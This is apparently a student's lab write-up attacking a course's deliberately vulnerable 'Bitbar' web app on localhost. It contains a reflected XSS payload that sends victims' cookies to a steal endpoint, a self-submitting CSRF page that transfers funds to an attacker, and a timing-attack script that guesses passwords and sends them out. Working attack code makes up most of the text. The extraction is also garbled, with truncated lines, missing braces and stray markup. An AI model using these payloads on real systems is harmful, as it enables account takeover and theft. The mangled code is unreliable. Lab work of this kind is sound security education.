Part 1

1. Alpha Exploit: Cookie Theft

Based on the given code, we find out that the vulnerable part of the code is placed in the /profile path of the website. The code is located in the handout/hw2-1/router.js file. The code is as follows:

```
router.get('/profile', asyncMiddleware(async (req, res, next) => {
  if(req.session.loggedIn == false) {
    render(req, res, next, 'login/form', 'Login',
            'You must be logged in to use this feature!');
   return;
 };
  if(req.query.username != null) { // if visitor makes a search query
    const db = await dbPromise;
    const query = `SELECT * FROM Users WHERE username == "${req.query.username}";`;
    let result;
    try {
      result = await db.get(query);
    } catch(err) {
      result = false;
    }
    if(result) { // if user exists
      render(req, res, next, 'profile/view', 'View Profile', false, result);
    else { // user does not exist
      render(req, res, next, 'profile/view', 'View Profile',
       `${req.query.username} does not exist!`, req.session.account);
  } else { // visitor did not make query, show them their own profile
    render(req, res, next, 'profile/view', 'View Profile', false, req.session.account);
  }
}));
```

As we can see, if **the user does not exist**, the code will render the profile/view page with the message "<username> does not exist!". This is the vulnerable part of the code. We can exploit this by sending a request to the /profile path with a query parameter username that does not exist in the database. We can use this to steal the cookie of the user by sending a malicious request, for example a request with a script that gets the cookie and sends it to our server, placed in the username query parameter.

We have to create a URL that starts with:

http://localhost:3000/profile?username=

The url is followed by the script that gets the cookie and sends it to our server. The script is as follows:

• Before sending the request, we hide the tags with error tags to hide the does not exist error message. This can be done by adding the first line of the script.

```
<script>
document.getElementsByClassName('error')[0].style.visibility = 'hidden';
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://localhost:3000/steal_cookie?cookie=" +
                document.cookie.split('=')[1], true);
xhr.send();
</script>
Then, we encode the script and add it to the username query parameter. The
final URL is:1
http://localhost:3000/profile?username=%3Cscript%3E%0
Adocument.getElementsByClassName('error')%5B0%5D.style.
visibility%20%3D%20'hidden'%3B%0Avar%20xhr%20%3D%20new
%20XMLHttpRequest()%3B%0Axhr.open(%22GET%22%2C%20%22
http%3A%2F%2Flocalhost%3A3000%2Fsteal_cookie
%3Fcookie%3D%22%20%2B%20document.cookie.split('%3D')
%5B1%5D%2C%20true)%3B%0Axhr.send()%3B%0A%3C%2Fscript%3E
  2. Bravo Exploit: Cross-site request forgery (CSRF)
Here is our code for the CSRF exploit:
<!DOCTYPE html>
<html>
    <head>
        <script>
            const hijack url = "http://sharif.edu/~kharrazi/courses/40441-011/";
            var submitted = false;
            function transfer_bar() {
                document.transfer_form.submit();
                submitted = true;
            }
            function hijack() {
                if (submitted) {
                     window.location.replace(hijack_url);
                }
            }
```

 $^{^1{\}rm The~script}$ is encoded using the URL online encoder tool: lambdatest.com/free-online-tools/url-encode.

The code is a simple HTML page that contains a form with two hidden inputs. The form is submitted automatically when the page is loaded. Then it sends a POST request to the <code>/post_transfer</code> path of the website. The form contains two hidden inputs: destination_username and quantity. The destination_username is set to attacker and the quantity is set to 10. The form is submitted to the transformFrame iframe. The iframe is hidden and has an onload event listener that redirects the user to the hijack_url. I used a boolean variable submitted to check if the form has been submitted. If the form has been submitted, the user is hijacked.

3. Gamma Exploit: Timing Attack

```
router.get('/get_login', asyncMiddleware(async (req, res, next) => {
  const db = await dbPromise;
  const query = `SELECT * FROM Users WHERE username == "${req.query.username}";`;
  const result = await db.get(query);
  if(result) { // if this username actually exists
    if(checkPassword(req.query.password, result)) { // if password is valid
        await sleep(2000);
    req.session.loggedIn = true;
    req.session.account = result;
    render(req, res, next, 'login/success', 'Bitbar Home');
    return;
  }
}
render(req, res, next, 'login/form', 'Login', 'This username and password combination does
}));
```

This part of the code is vulnerable to a timing attack. When the username and password exists in the database, there is a 2000 milliseconds delay before the user is logged in. We can exploit this by sending a request to the <code>/get_login</code> path.

```
<span style='display:none'>
  <iMg id='test'/>
```

```
<sCript>
    var dictionary = [`password`, `123456`, ` 12345678`, `dragon`, `1234`, `qwerty`, `1234
    var index = 0;
    var longest_time = 0;
   var pass_idx = 0;
   var password = dictionary[index];
    var test = document.getElementById(`test`);
    test.onerror = () => {
      var end = new Date();
      var time_elapsed = end - start;
      if (time_elapsed > longest_time) {
        longest_time = time_elapsed;
        pass_idx = index;
      }
      console.log(`Time elapsed ${end-start}`);
      start = new Date();
      password = dictionary[index];
      if (index < dictionary.length) {</pre>
        test.src = `http://localhost:3000/get_login?username=userx&password=${password}`;
      } else {
        theft_url = `http://localhost:3000/steal_password?password=${dictionary[pass_idx]}&
        const theft = new Image();
        theft.src = theft_url;
      index += 1;
    };
    var start = new Date();
    test.src = `http://localhost:3000/get_login?username=userx&password=${password}`;
    index += 1;
  </sCript>
</span>
```

We iterate on the passwords in the dictionary array and send a request to the /get_login path with the username userx and the password from the dictionary array. We measure the time it takes for the server to respond. We keep track of the longest time it takes for the server to respond. After we have iterated over all the passwords in the dictionary array, we send a request to the /steal_password path with the password that took the longest time to respond and the time it took to respond. We can use this to find the correct password.